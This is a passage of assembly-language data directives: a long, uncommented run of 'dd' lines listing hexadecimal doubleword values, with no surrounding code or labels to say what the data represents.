0CDA0AC4Ch, 1E71A3ECh, 406C18FDh, 0E153B18Dh, 826176BAh dd 0EF3374E0h, 427B850h, 943A00EDh, 96DC2DAFh, 6A0F6EC2h dd 0E173134Bh, 5D1E3FC3h, 124C34FCh, 4E4A9B7h, 1D188C18h dd 30F37B89h, 275FDA0h, 96172D10h, 2440E7E5h, 3D02EEB3h dd 56B060EDh, 9490A01Ah, 98A503h, 26EBE27Dh, 52969EA2h dd 2E48F909h, 1D00E19h, 4C9C01Dh, 0F2282433h, 776C0078h dd 0A6BCF7C7h, 24023BD3h, 0AFFE1CF6h, 0F2B89854h, 0FD31C19Bh dd 0EC52D3D6h, 271E9AEFh, 1D008939h, 936B950Bh, 0AB57125Ah dd 0E80458E2h, 0B805F1Ch, 9CC0A82Fh, 0EF720136h, 438C0CE6h dd 32F6FC91h, 0EF83B00h, 514EB6E5h, 5DF8CAB9h, 0C2FC648Ch dd 0D630AF64h, 92E30820h, 5558BDC6h, 292000CDh, 0D79B221Ah dd 0C50EA579h, 3B29EE7h, 0D411248Eh, 0EFC8B08Bh, 0B74498C0h dd 0DD81314Eh, 214CA4A8h, 18A8A684h, 7480BC11h, 7B6B368h dd 0C027448Ch, 8C686C00h, 2DCAD413h, 0A59613B3h, 1868259Bh dd 0DA445820h, 0A412B026h, 8B079F11h, 0B07440A4h, 2A0F1C8Fh dd 8EE81BFAh, 0ABDD21C1h, 0F17EA740h, 8CA1F6D0h, 0F8B8AEE3h dd 0B6E80331h, 0EF59961Bh, 0C764F870h, 644C8226h, 0B6D4CC0Ch dd 0C04116h, 629B0B2Ch, 0E38E11B3h, 0DCB01F28h, 30C97990h dd 243830C4h, 0ABDD4027h, 0E6A2EB09h, 3C749494h, 7D2AB8B2h dd 4CA02FCh, 0B0AB786Fh, 20C1F8B0h, 0CE92EA10h, 20D9C8E0h dd 0AEAA1C01h, 76EB7DF6h, 0F948CA40h, 160F304Eh, 0ACDA7ED8h dd 2A478603h, 41275C12h, 30CADC19h, 0A63A6861h, 2C22C6B6h dd 0F059C13Eh, 7723DB1Dh, 71BEBB82h, 420EED9h, 91A6B98Dh dd 41E490C1h, 0AF02AC98h dd 55F27F7Dh, 8D60C035h, 4C1280E1h, 0B2F89354h, 338A0491h dd 0A98EA0E2h, 4B7900A8h, 40C0E3h, 0B1EC4183h, 11FB53BAh dd 3D57641Ah, 0C8B30A40h, 0B4914A0Ah, 695D424h, 5044C0ECh dd 0DC70C32h, 0F31D4EB8h, 9D49E5A9h, 0F6975818h, 1F248C43h dd 0B2891DF3h, 0BCEA57h, 1C85802Dh, 99D4C572h, 0B4CC4500h dd 7CC1B62Eh, 3E330013h, 8448E756h, 3A2405CEh, 2C110CAh dd 710D532h, 0FE3D4B34h, 3C4187CDh, 88A02CD7h, 4CF2AC71h dd 0DE8F5C94h, 34237FE1h, 3B0AF053h, 0C664A504h, 2C98E522h dd 5C8148D5h, 2798C180h, 94137D28h, 58007A45h, 44A8878Ah dd 70A31246h, 9674022Fh, 8481EBD5h, 26F112B1h, 40A80FB8h dd 1BAF6468h, 0E9278232h, 9B6740C0h, 0A1A004B7h, 902EF804h dd 853D4618h, 6194D103h, 98FEC62Fh, 0B027B9Dh, 7E897F8Ah dd 0D8AC1CB1h, 300125C1h, 75B77BEAh, 3047B6h, 0A96F8CF4h dd 48A76A70h, 0E8408144h, 5C240B0h, 0AAE5B40Eh, 0AF89C074h dd 302353DEh, 0DC298FFBh, 50003586h, 741C5E9h, 34D6B4h dd 0CC38748Ah, 0A98CE5EAh, 70590A00h, 0A583877Dh, 80BCB944h dd 0BD62022Ah, 609B77E9h, 6D58943Ch, 267638B4h, 0E8C0B460h dd 466AD7D0h, 0E722E4h, 32D0F0A1h, 9AF2D437h, 535D907h dd 9E4313E1h, 12B9718Ch, 0F31A75Fh, 61896078h, 8ECC8AAh dd 0B60289DBh, 0C5E805AEh, 9FA1728h, 0A040E460h, 7217D78Ah dd 283A5539h, 23002923h, 4A0B0E16h, 0D8640302h, 0C1D1B97Bh dd 905687A0h, 0C7780548h, 1AABF4BAh, 0DAD460B0h, 0D4DB5C88h dd 2C0ADE02h, 0DC407182h, 4941494h, 0E5856591h, 0CCF2C2D0h dd 9C600451h, 154D0EDh, 0A2962CEh, 284DFCE2h, 0F2CB80B0h dd 0C5EC44h, 66E66C39h, 72419B37h, 43881400h, 2598B6FEh dd 80166404h, 0DF1CD8A8h, 0BC9C7758h, 96008CE6h, 0A574508Dh dd 1A66F71h, 0F7DC89F6h, 70351BB8h, 54BB1290h, 9D009A11h dd 710462B3h, 5B00DC4Ah, 0E4505CF8h, 2530D457h, 0F4102642h dd 0A4A08DB8h, 0F5124EB9h, 8443C11h, 0DD0116A7h, 29022D54h dd 63D099D4h, 0D00AE718h, 0B0FC6AC2h, 3FEFD270h, 9D8015D0h dd 0A45DD3E6h, 5C181159h, 0D7681BB3h, 8BD001BCh, 2D760F40h dd 4AD42C25h, 4AD5E838h, 377C417Eh, 803CE976h, 0B76A6F31h dd 6FBEA2DEh, 0D0183880h, 168018B3h, 0BB4D309Eh, 54442BC8h dd 0FA58A3Eh, 5C1F23FFh, 0DA165424h, 108F281Fh, 6CC65C35h dd 5C401AFFh, 0B123ACEFh, 0E920C001h, 2518D692h, 0CF4F88h dd 5BBA4520h, 338AD904h, 3700F0B1h, 0A2AF36A4h, 0D9808D7h dd 0A8162950h, 97B1B00Bh, 2C6BB60h, 1F4C11CFh, 4ED4C43Bh dd 0A7984032h, 8AEB4ACh, 8EE88D0Eh, 73B6C405h, 4993F206h dd 0E96EDB01h, 0B80B08E7h, 4BE41DE0h, 0FABC4417h, 0A471038Dh dd 7072C156h, 0DC225C72h, 75AA4505h, 0D881895Bh, 3301CA95h dd 2F2180D6h, 5FA149EAh, 0DE121266h, 4A616FDh, 23877A8h dd 720D94E9h, 8AEB1214h, 9894836Ah, 8F5956A8h, 3B457518h dd 0E4CE1220h, 6F442628h, 7EFF8170h, 9FF0A282h, 0E82E1830h dd 0ED96BA83h, 269004B7h, 80C02A64h, 0D7DF4400h, 4E81790Bh dd 0ABACA059h, 29632D8Eh, 0C22019D8h, 0B930C337h, 84B05888h dd 8C96BCh, 94F9B34Bh, 0B5E3D1A3h, 587C0A74h, 1DB49813h dd 0C2601889h, 303B3054h, 6D911FE8h, 8415A128h, 4AD7B300h dd 92B12BA3h, 2412475h, 348252A4h, 147338BCh, 104ACA4h dd 0B7019AC0h, 8FF26DC6h, 5F58DBE8h, 8328F41Ah, 9C3AE2C4h dd 16830880h, 0AADC8089h, 3BA06E49h, 191E30C1h, 0B96FA86Bh dd 0C6B202B4h, 0AC48DF9Bh, 0D8A8E744h, 7CB194EDh, 618EFD9h dd 4EB78605h, 0CC42D5B9h, 116355Ch, 0D09F0B80h, 0E0309634h dd 182B3811h, 331DFCC5h, 13C83B3Eh, 6C785126h, 7EC465Eh dd 0F2089690h, 8080E84Ah, 5752AD3Dh, 8A4009E1h, 2C015DB4h dd 3C106Dh, 9ACBBAD5h, 1E113E10h, 610E1C59h, 0D480B083h dd 5F94933Dh, 99C1B59h, 2AED9E1Ch, 45BD74A4h, 54325C21h dd 0DB485902h, 6050C01Dh, 0D8C191D3h, 0C8409FB2h, 4A262775h dd 485258h, 0A9801BFDh, 4B004C3Eh, 9E02B7Eh, 3F34090h dd 0BA7FA0BFh, 31001856h, 0DDDF274Bh, 19888F4h, 0B3462B5Fh dd 243D9E0Eh, 1E03AD9Ch, 621F243Ch, 60C0503Bh, 89904122h dd 6D70FFD1h, 674C6058h, 0A475E056h, 0C1079BFEh, 84D4BC74h dd 7F2080ABh, 17698CEAh, 10A14E80h, 2B88B880h, 9820F193h dd 2F947Fh, 44E669F5h, 9CD45B48h, 0E4B95D00h, 21DBD78Bh dd 27DC4B79h, 4E161150h, 5C20EA91h, 0B3FEFE9h, 90F68AD1h dd 489E544Eh, 13200DCh, 755E6264h, 0AC098E25h, 26BC048h dd 5B33A798h, 0FD2B8078h, 0F95A9345h, 1FB03654h, 88D9D800h dd 0A507BDACh, 0AA0F30D7h, 0C44C53F8h, 6070C026h, 9DA5A31Eh dd 812991E8h, 6D354E5Eh, 387CD7E8h, 8AB24788h, 2860F050h dd 0E541DE32h, 0FC4F5860h, 704187Fh, 0D815C0BDh, 2C441280h dd 8BB034CFh, 0F882BEC5h, 8442AAB8h, 21796471h, 9A078818h dd 224EB70h, 0D9D9A3C2h, 18297158h, 105500ACh, 2776F89Bh dd 9A261ABDh, 0C60830D4h, 92EF038Ch, 0D0EC3C15h, 0AB1EAEB4h dd 0FCBD7380h, 1250057h, 28694D59h, 0F248341Fh, 0C3D98E40h dd 0F803BD37h, 0ADDA47h, 0E04650C3h, 2E8A2B52h, 80967D28h dd 99C380ECh, 78B110D9h, 49B36008h, 0DBB542Bh, 63989C50h dd 106CA425h, 231496E8h, 0FC813513h, 8EA50C7Bh, 0C83CABD9h dd 95962C52h, 0B6B60E18h, 6C745E96h, 31131840h, 0F618328Ah dd 0D5A00D21h, 34574980h, 2016973Dh, 3A402731h, 6D9285E8h dd 93DC9065h, 8D163367h, 0F804F0FEh, 0E0A43954h, 2324359h dd 6AC0D0E9h, 10BB31ECh, 0D0F1A0h, 0DB36F6A1h, 5434D791h dd 2DF9430Ah, 88169C8Ah, 9A56A04h, 8262D083h, 3897291Dh dd 3C81ED11h, 0E1A320D1h, 42C296Ch, 0C8499EB8h, 2CDD84E4h dd 0E683C98h, 5F12924h, 8BCA8ACBh, 8975C491h, 0E5788EC2h dd 0B8062210h, 1F08407Ah, 954858BDh, 0A7AC54ABh, 5C0A170Eh dd 0E0B24A25h, 0F5AEB682h, 77ECC9DEh, 2C486CC1h, 0CBD008E4h dd 0EEC4C46Ah, 0D0EC9D40h, 330047CEh, 458FEB04h, 0A1DFBDA5h dd 7C76F07Ch, 73403D7Eh, 581687A5h, 40ACCC03h, 38F03223h dd 378F0761h, 2CA79D66h, 0EE40D073h, 16E6CE99h, 84010CE0h dd 0BAE2AB8Bh, 2465A99Bh, 21B8D878h, 6150008Ch, 1B4AB15Fh dd 0AEFC5984h, 34428C4Bh, 581E895Eh, 627C0A28h, 16C44A1Fh dd 0F98430ADh, 5E3B2160h, 89A53C2Ah, 1B21CD7h, 735FAACCh dd 1F0FA02Ch, 0B681CB6Ah, 0D8259Eh, 57419CAh, 1EB728EDh dd 5AF04470h, 0D0E63032h, 0F46A2EC1h, 0EED3707Ch, 2C34D001h dd 79A25435h, 38CDC5C0h, 10CD7791h, 23602E5Eh, 44A30322h dd 67A8B8A1h, 0BE30BAE0h, 4F93F85Ch, 940214FFh, 712490D0h dd 0B2D985A0h, 639C40A6h, 24375412h, 1944F8C9h, 2022330Ch dd 7BD46700h, 4CE4404Dh, 12B70200h, 0AA24AD9Ch, 0F9D7B59h dd 559BBBB1h, 691F99D8h, 4860C21Eh, 0B35F183Eh, 5AC6BA19h dd 26C0016Dh, 2101AA4Ch, 0A2F42370h, 86C1322Dh, 479420D7h dd 0F024B556h, 0B0D8BCEFh, 0CB920778h, 83A7182Ah, 504CD7F9h dd 115A0908h, 72380243h, 7C0909A8h, 0BAE45CC7h, 0D339AE60h dd 56060D16h, 0A05560C2h, 0EAB359D0h, 5C588270h, 0C1ECB816h dd 8095B008h, 0DDA052C6h dd 0F4013C0Ah, 0C19F7874h, 0B82DF682h, 96268C40h, 84868C18h dd 0A9207519h, 78A24D29h, 0CE06613Dh, 70FE34A3h, 0A840D0D8h dd 0B2D58001h, 0F1898C9Ch, 8F04A799h, 1B3540A0h, 4831007Dh dd 0EF762853h, 6B0C3F7Ah, 3077BD65h, 0B493888Ch, 949B1F02h dd 0C4C544C8h, 41D89C70h, 0C80F588Ch, 5F002EF4h, 70278051h dd 0A9F59DCh, 9ACA6FF1h, 3B6808BCh, 465CC04Ah, 467900E8h dd 93FB8D7Fh, 0CCF13456h, 0F0B221h, 450AF9B7h, 5024F6FDh dd 14D10C1Fh, 0A4A7EE82h, 53106204h, 0E268E347h, 72903F72h dd 245457BCh, 950FCBD8h, 791FA36h, 0D6A07E39h, 5782383h dd 0D8B97DB5h, 0C8008BB0h, 0C727C08Dh, 5315B8B3h, 90EA32h dd 8C79011Bh, 0B88E9C20h, 0E6BF4438h, 0E8121DE4h, 0DCC81838h dd 0C432490Bh, 94CB037Eh, 6B56DB2Eh, 799F55E8h, 7F962B00h dd 7BCF7DF4h, 5B0B1763h, 0F37C04E4h, 0F0B73822h, 0B39CA8BDh dd 5697C2Eh, 5E8E136Bh, 4C48A781h, 80BC5014h, 85941A48h dd 0C8D5AECCh, 8C4878F3h, 205E5Fh, 1018CC52h, 9627B5FBh dd 0DB8C0030h, 279D7404h, 0B401F91Dh, 21CB817Ch, 8082E295h dd 5303350h, 66E4FAEh, 19A436CCh, 3ADB280Ch, 4FBB9A80h dd 8AF40962h, 10A6C011h, 0D2575Eh, 75DC2894h, 93C154ECh dd 34200C5Fh, 52131Ch, 90F30E59h, 0E3AF649Eh, 0F235151Fh dd 0FF097642h, 385C401Ch, 7EC9196h, 3C0F4410h, 4B2556F8h dd 500C2281h, 10787238h, 88D9A5BAh, 0B9F0808Eh, 96B37B90h dd 355C10F6h, 8C82EC30h, 2EE7D00h, 6B86B5E9h, 71BE608Bh dd 2F541063h, 2BA02B6Fh, 46B8848Ah, 0C840CA25h, 3C53C0E7h dd 0A400AD20h, 0CFC390EEh, 289EBA07h, 25F8E215h, 0D4404D94h dd 1301EFB2h, 73E5DF3Ch, 74602A10h, 7B472488h, 0C9FD6214h dd 41221002h, 84514548h, 90625794h, 0B1238E00h, 0C4F48205h dd 165DEA12h, 6053380Bh, 244EB86Ch, 8E6CE5B1h, 603B2F6Ch dd 0EF9DA6E0h, 468D989Eh, 29F03106h, 18B1DFC0h, 0AEBA693Eh dd 8B4F171h, 8A36B385h, 1E32A401h, 802D14C8h, 4C738610h dd 7A1E6910h, 0AD9B24B0h, 0A7F20988h, 61E0FC93h, 6550B51Dh dd 1A24B8C0h, 0D609ACE7h, 0B7C034Ah, 0CE81073Ch, 1443E6h dd 0BA35D56Dh, 0A1DB2A04h, 68901E57h, 7CD079A8h, 7796004Ah dd 0F206929Dh, 0E7E1721h, 0C0208B97h, 480C12C4h, 0DA4A2836h dd 37CCC010h, 2E27F7Dh, 32F1045Fh, 0DC68EC26h, 0F091457Bh dd 40A2B192h, 0D307CE2h, 55ED24F6h, 59641894h, 8D5EB97Ch dd 2C289808h, 383CDE50h, 27332F8Bh, 13B05A08h, 7E15792Dh dd 7FAC00C1h, 0E9A58DE5h, 73889DF2h, 5CB07DE1h, 82101CF9h dd 75187CAEh, 59A03789h, 0D45A4C76h, 4640EF10h, 56B705B4h dd 78CCD283h, 6B314030h, 7C644EF8h, 54A8F218h, 5CADFE80h dd 0B61A9B5Eh, 3D481696h, 6B220FA8h, 90E4A02Bh, 0F1617200h dd 0C84F6074h, 248F007Eh, 0E6692568h, 6E793A11h, 7B204492h dd 7A93024Bh, 35D938F5h, 33D71C68h, 0F988FC96h, 0F0BC28B4h dd 54348006h, 0A3596705h, 7C629FD2h, 71BC5978h, 98D418E9h dd 18427827h, 882255D8h, 0F49C8ADBh, 7A940E95h, 0A280B160h dd 4146A356h, 0E05CA06Ch, 5EC45849h, 2623642Fh, 0DABB2802h dd 0D6B05477h, 4F76421Eh, 7E660A80h, 721BACF3h, 0B19CACB7h dd 0A3C88038h, 0FBB7074Fh, 93A27500h, 0A492AE78h, 82B90C8Ah dd 61D89886h, 0F76C121Eh, 1051B0ECh, 5D303F1h, 6E32EE18h dd 0A58CB011h, 170298A1h, 34812EB5h, 10830FACh, 435F82Ah dd 0AEFF390h, 59F74907h, 8EA2CC85h, 0ACA0999Bh, 2004D518h dd 0BF2E92E6h, 54202232h, 12C20CCh, 69A936CBh, 9F132EAh dd 4510DCh, 0E7DE825Bh, 90DBD16Fh, 8515BC00h, 913CF6D0h dd 43A812BBh, 0F243293h, 0E1B9E0E0h, 0F4F182h, 0C71D74F3h dd 782EED19h, 211148B3h, 205C2406h, 0FB2408F0h, 6261D447h dd 0EEC8BB30h, 0DAAE1704h, 0C018878Fh, 1D92130Bh, 0A24B5725h dd 98E32FCh, 640054F1h, 19DEBFE9h, 0C690037Ch, 283FB472h dd 0F0744F8h, 20E4C4A1h, 4A41B8ACh, 9760303Bh, 61401025h dd 38EC04A2h, 0CB0F4D76h, 0E33218DCh, 0F0D340E9h, 4FD148B8h dd 0EB280907h, 0CD2BD0F9h, 13553E0Ch, 5292DB64h, 831AA4C1h dd 57197949h, 99810023h, 8C6F5ECEh, 0D90135B0h, 841185F3h dd 0D8ED5C6Eh, 2316A06Dh, 1F84A20Ch, 2325568Bh, 7C4DF308h dd 0FC54D5D8h, 3CEC6324h, 98A6EE15h, 0EC009922h, 6F2D4E94h dd 1EE3F514h, 0C0705C67h, 7A171B72h, 8A2CC0EFh, 6889B4C6h dd 2FE002CAh, 20C0649Ch, 0A225254Dh, 0C4C4C5D9h, 8BEF6028h dd 3A550131h, 0D4E4F18Eh, 17C848BDh, 3C382610h, 0CF4AD060h dd 0B10052FBh, 3D53EC30h, 72A4A0h, 0CA01052Eh, 59452110h dd 6A3B300h, 0B2BB050h, 9CEA00D0h, 0A6325A05h, 3E74D3F7h dd 28BD20C7h, 184837D6h, 1843B80Dh, 0CC00E2D7h, 233255D5h dd 33ABF48h, 4150F0ABh, 5800D421h, 5E0A3DA6h, 0F59D22Bh dd 0CB71ECF1h, 52F8A0C0h, 7230B7B0h, 59062833h, 91AF60BBh dd 3C73702Dh, 0B2DB50C0h, 15BFFD8h, 1D3FB732h, 8CE28F96h dd 69E30D28h, 601EEA6Dh, 20BBF8A8h, 3A1F034Dh, 5A0D7BA0h dd 8CC018B4h, 97A23906h, 0A8C66960h, 2D1C110Dh, 254C3481h dd 0CCB208B1h, 73F26021h, 0FF782A0Ah, 0C51C4840h, 16250F20h dd 0ED411A13h, 0D3DD11A0h, 43D8B4B8h, 0BC985B51h, 51419D8h dd 2008EDB1h, 73D238h, 77FAE283h, 0A09EF1D3h, 75A6168Ch dd 503340B5h, 20ED7DE2h, 0D20C6911h, 8622F54h, 6F21C046h dd 16863375h, 0C98CB200h, 0DB7A0C4Dh, 0F8A0619Ah, 9FE42C41h dd 3C19F779h, 0B8499739h, 0FAA1D2DCh, 0F7621868h, 0CD102158h dd 348F4118h, 0ACB259F8h, 318720D0h, 0D0B66F06h, 0CF05993h dd 9F60D379h, 2819B7C8h, 0B618502Ch, 0FE279C41h, 0A7B8000h dd 7018FF7Fh, 9484EB7h, 6A824C2h, 47003D28h, 7DE42F21h dd 0B50073CDh, 9BDBC990h, 2B1D107Ah, 1890A4A6h, 71B60C7Ch dd 484490ACh, 33741E6Eh, 79440559h, 47D00486h, 36834453h dd 561F6081h, 0B6BD2410h, 0E5BC9D02h, 49381D3Ch, 0DCF9B278h dd 66682900h, 0B8C0A8FEh, 0CD9E7A84h, 0DBF430EAh, 6182A620h dd 3E5373E0h, 0E0578420h, 0D1569D60h, 9866D730h, 0A4B959ACh dd 2B2500B8h, 0D252C2EBh, 8F02EFD5h, 0D92E217Bh, 9774484Ch dd 8512037Eh, 0A5C0D4F7h, 6EC03878h, 0BC38B6A3h, 20D0A43Dh dd 29E0904Fh, 0A8AB701Bh, 20BAF088h, 50016587h, 23C860B6h dd 720C5C31h, 4838B020h, 1E8DB8B2h, 85E253BEh, 455F3D0h dd 0D35D3A30h, 28C2F540h, 0E8842CB1h, 0A254B870h, 245E53Ch dd 0F7D4A401h, 0E8905808h, 1B41AF64h, 52D6F093h, 76832C50h dd 0A6E3E307h, 0E1B58000h, 0BCBB2DF4h, 2B50C3EFh, 88942748h dd 0E0417838h, 8C9F0C20h, 110D9D3Dh, 0BE88B92Dh, 0DB56580h dd 97F08AFh, 7C0B455h, 419CB027h, 80F20E05h, 74A5E611h dd 0CAC6D7Ah, 9485A253h, 21C0EC08h, 0B5749DB3h, 0D6E6044Ch dd 81E89908h, 0D8D0FF7Ch, 20F571D8h, 344D7388h, 0B2110694h dd 8AB8CE7Ch, 7AA440F4h, 0BEC68853h, 7D871A14h, 32910ACh dd 973B4406h, 5CD13162h, 243BDDB4h, 40A49859h, 788EA011h dd 11B6AAC1h, 88440CD1h, 33326FF2h, 0A0EE7075h, 80CF90E4h dd 0F7BE18A8h, 9ABD2936h, 96D37812h, 20B74042h, 0D51881E9h dd 54320CA6h, 5F98091Fh dd 0F0EE003Bh, 3DE37432h, 80A4BF4h, 6003542Bh, 224ED3C2h dd 3840072Fh, 0C7B0CDE9h, 6147DD39h, 5AF04230h, 1060D411h dd 903ADF41h, 0F9482014h, 5FC00D14h, 10FE8FE8h, 7B7482DEh dd 0DD31A46Dh, 749EB410h, 0D3B97617h, 0F75C2B1Fh, 980A155h dd 2636BD8h, 60107B94h, 8053C79Ch, 0EA4DCB73h, 11B009D8h dd 412894FCh, 0E7388467h, 0C4C8EDF1h, 0DB564043h, 3CBBCA2Ch dd 22A73201h, 6C3207A5h, 2021BF88h, 0C068ACE7h, 3AAF602Bh dd 24E35780h, 8FA4F1F8h, 7FA27645h, 3C484D0Eh, 0E31F1130h dd 0C2C1D7A5h, 0C1F3CFF2h, 218063D1h, 7AE30891h, 2C1BFDBCh dd 0F1599340h, 94606717h, 46C490B0h, 0DAB029Dh, 31A92D0Ch dd 0A36310B9h, 5E6E1C0Dh, 722E0326h, 43E84581h, 9639CF8Fh dd 0EAD7848Eh, 0F488D428h, 4BA18D5h, 858010F4h, 9FA41F0Bh dd 2474A29Bh, 24070956h, 183118BAh, 710059ECh, 212A4010h dd 7B0CF8FCh, 28C7CEDBh, 372B2612h, 594517F4h, 48A17010h dd 0D08A768h, 0C4892D10h, 9F6F40BBh, 542F0Dh, 30A06437h dd 0EBBC2A0Ah, 1CF54218h, 81532271h, 0B89CE116h, 0C63220B9h dd 51AB9710h, 86A35600h, 0BDFB413h, 7DCC280Eh, 45FC90DCh dd 7410958Ah, 0E3829CE4h, 3103D7AAh, 0FD8E1068h, 3CF17CE2h dd 0A0054612h, 77B704h, 0F6BC7220h, 0AE1876ABh, 0D4080C2Bh dd 69CD80DFh, 538EB49h, 0F7A4B078h, 20DD5480h, 669CB927h dd 8606C9CBh, 0BD62EB7Bh, 0E93009F8h, 38826F49h, 8C080308h dd 0CCCAA08h, 0D396797h, 1B00D4A4h, 0DBD4CB53h, 588F0147h dd 0F2101C03h, 0B58601FFh, 0F584C33Fh, 30870C20h, 0C8D1640Eh dd 5F00146Fh, 2AED233Eh, 874D4Bh, 0B696C303h, 0AC46A707h dd 0B335A906h, 440C49Ch, 0FFA0A57Eh, 0C8688B8Bh, 0A530C0BAh dd 0D4012D47h, 0EDC2C719h, 0C980F50Ch, 8B2AC575h, 553A9A68h dd 0E8730056h, 0FFD793CAh, 0C3061313h, 0BDB042CFh, 74C108F6h dd 0B7482429h, 0D9CF857Ch, 407C89D5h, 2061A3E0h, 0D32E3DC7h dd 391AA5EFh, 70108429h, 0F4E30A61h, 448C23D7h, 1009262h dd 664CABE3h, 6EF7682Dh, 0F38B58AEh, 38B75820h, 0F4A05DACh dd 80E3D36Dh, 132512B1h, 2EA69F1Ah, 9710B440h, 50A047F7h dd 8FCA6008h, 52904C02h, 9A39E25h, 0BB5402ECh, 0B2A70050h dd 0D34AF5E5h, 0ED7428h, 869087C6h, 0CB3F761Fh, 4F606172h dd 0A0E2D738h, 586896CDh, 6D88E922h, 0AE2A25C3h, 6040348Ah dd 0FD718F3Dh, 44F7B216h, 20354460h, 447CB01Ch, 21745F84h dd 8C125C4Ah, 0F01C4804h, 246DB705h, 0FC2481D0h, 0A7188FDDh dd 12887540h, 0DCC8C159h, 3DF0A136h, 220B8517h, 59215EE0h dd 31A1AA2Eh, 30343E30h, 2004D4A9h, 6CEAD5B8h, 9898C34Ch dd 0A2ED3888h, 73088408h, 0A9E30D60h, 110BD723h, 48D006Ch dd 2F55EBE3h, 6A3600F9h, 70649D93h, 81C0B596h, 86EE2DE1h dd 0FD090FACh, 0FAAF7703h, 794C2F60h, 0F00D817h, 0A5CCABE6h dd 0A041E209h, 5C474878h, 709DE835h, 9779CB19h, 88686049h dd 68467E30h, 79126402h, 409011B9h, 0FA042726h, 4E0430AFh dd 51C2C0C9h, 74A88100h, 18946D7Dh, 0A0C688EBh, 0FD97400h dd 569F15BAh, 2C8105CAh, 22502F48h, 70223460h, 2B9C9097h dd 0F32A000Dh, 0E58995C3h, 9D03A876h, 237992B7h, 4348F0C7h dd 4348DF61h, 369BD8B6h, 84A5A828h, 36A3E881h, 0DA90250h dd 31992D0Ah, 0A16110BFh, 2A4A000Dh, 0D9561826h, 50C2575Fh dd 9FAFD08Eh, 826411B0h, 4940F703h, 0BDE83048h, 16F0002Bh dd 1984F27h, 0FE00F98Bh, 0B74D9B9Dh, 0A4521BD0h, 28D8F0B8h dd 800866ABh, 7859CDC7h, 1B9D3B2h, 551C21F4h, 46BC508Eh dd 349884D6h, 1726C44h, 0D964ED2Eh, 579030B0h, 86CF40E8h dd 0F83028DEh, 0DF73A139h, 0C3F403A5h, 7957946Eh, 53D0DBC0h dd 0A63A2B04h, 0B0809DB4h, 81F18FB3h, 0C5E3F8DCh, 86E81E75h dd 0B10964B2h, 87507B20h, 1AC30520h, 901848C2h, 913E7412h dd 30A5B50Ch, 72FAAE1Ch, 88345630h, 2CF9AFC7h, 4847CC1h dd 0A60D0366h, 0A97BF358h, 78FC673Dh, 0B67F0909h, 1493576Fh dd 2621A2BAh, 70849C23h, 440CF903h, 0AA300E02h, 6D238774h dd 72DF1184h, 240974F4h, 23054E8h, 253807E0h, 9D748C7Fh dd 1295CB07h, 0E9505A85h, 3F1B962Eh, 0FD067017h, 0A1510CE0h dd 0E78F1203h, 0E716673h, 7B82EF30h, 39561020h, 0B094369Ch dd 0F2FD47D4h, 0D8D17FDh, 94D4F1F8h, 191500E8h, 0A0120B09h dd 3BF4F1F9h, 0F7A8CF00h, 266CDC68h, 0BCB20130h, 66D3F3E5h dd 18D092A2h, 84C1A094h, 130547A7h, 0F70804C4h, 615C9035h dd 1E396F52h, 38970511h, 4928B8Fh, 580B18A0h, 280AA899h dd 142490EAh, 2BD4674h, 886F9464h, 10DC8171h, 182120B6h dd 0CF22FC32h, 0A3A61613h, 0EC7B388Ch, 79B627A5h, 0F500E896h dd 0E25F3372h, 0A27F22h, 0C32B2511h, 4F078E66h, 941F414Ah dd 0B525C250h, 145F2C39h, 57679805h, 8B98ECA4h, 42C249C3h dd 12FA5CE9h, 0A0A88112h, 41A6B797h, 20420058h, 717A371h dd 88620F00h, 0D71CADFAh, 0EB5825EAh, 0A39D2804h, 742F4A38h dd 7000BC23h, 99D9CB6Ch, 0C6EA00AAh, 9E072177h, 850F7FFFh dd 126717F6h, 782F0088h, 7CC7EEE5h, 0C6E374C4h, 59AC9819h dd 53BC6D00h, 7788B472h, 0F5EF0B5Fh, 609831D8h, 0B17CA39h dd 413AC63h, 79C37C20h, 90BAFFh, 2DEBBC72h, 0FBAA2AD3h dd 0C42430B9h, 0B4E4951Ch, 0BC961C20h, 0CA4C008h, 4889AD98h dd 0D3B5D00h, 0DE95AB12h, 0F1150FDBh, 9C1416B7h, 0AFD2310h dd 0D83B682Dh, 2FCA094h, 8B9A2136h, 0ECE06005h, 0B0A40B9Fh dd 0CCA950D0h, 0EC11881Dh, 0EADCFA80h, 0BB2C108Ah, 69180807h dd 4EC30551h, 0B10C0AEEh, 0E3CD8334h, 1958A8DAh, 0D882D208h dd 0A71801C8h, 0A5D420F4h, 5EDF6110h, 58C2D504h, 883CA3DEh dd 742CACC1h, 0BB00E246h, 9C63C990h, 8A25D3FCh, 0FE5C38B7h dd 46CB1F7h, 0A277F2BDh, 62F10154h, 7619A2CBh, 0A4FF8095h dd 7C74A781h, 0F467F66Dh, 749FC500h, 181DB1A4h, 19EF0D01h dd 8B0AECF8h, 0A0611C48h, 94406411h, 0E6A0A8D6h, 163302AEh dd 0E860A763h, 0F1127C52h, 18C87CA6h, 0BE207CB7h, 887C284Ch dd 4048280Ch, 0E3146D62h, 8DCCCCBEh, 5C337161h, 8833E0A2h dd 9C96EA2Dh, 715281B0h, 0D3413CFFh, 0C9BA31C8h, 9825D573h dd 44DC09F6h, 8DCF0064h, 2134F1E0h, 33267953h, 9442B43Bh dd 8700AF3h, 0F701B05Fh, 9069F9Ch, 9E9428h, 49A0631Fh dd 9D01A9E1h, 0DE4734BBh, 91E999F9h, 60FB6870h, 0DA7871AEh dd 41E3579Ch, 623D13A4h, 0D0BB720Ch, 9CE30802h, 51CCE2D7h dd 0FF9040E8h, 0E0008CE2h, 187B8FD4h, 51D820BCh, 0C5BB035h dd 0B3ACEC7h, 47702002h, 3D201072h, 0D88C0FA6h, 0FD40C075h dd 0A2655C8h, 0EF1EBC00h, 3E565907h, 786CE90Dh, 0A95F0E18h dd 0CC009FA8h, 89741BFCh, 0F482E0h, 0F14F8777h, 0B68C52C2h dd 67603071h, 0E2DBACB8h, 42C9A43h, 1EEB6D86h, 0B61480BBh dd 3C989497h, 3C21DED2h, 54723D3Fh, 429B991Fh, 5D0BD157h dd 0FA2018D2h, 5EA0B456h, 13004946h, 72C921AEh, 0F34ABAE5h dd 63FD880h, 0FC920DBCh, 41A182EBh, 3DB30CE0h, 0AB5A177Ch dd 0D341B897h, 4447A9C2h, 72B55912h, 702B1780h, 0C1B8C483h dd 3FA4450h, 0D6198885h, 5E1F24DCh, 39B80C94h, 0DA34F7D8h dd 80C0A934h, 26EFD53Ah dd 4960602Ch, 0A4D8F007h, 57810555h, 3723B881h, 76468410h dd 0DD38A362h, 0C0DCEA2Bh, 0C2CC6200h, 0BDEB38D1h, 0C1D0700h dd 0E6D8B87Eh, 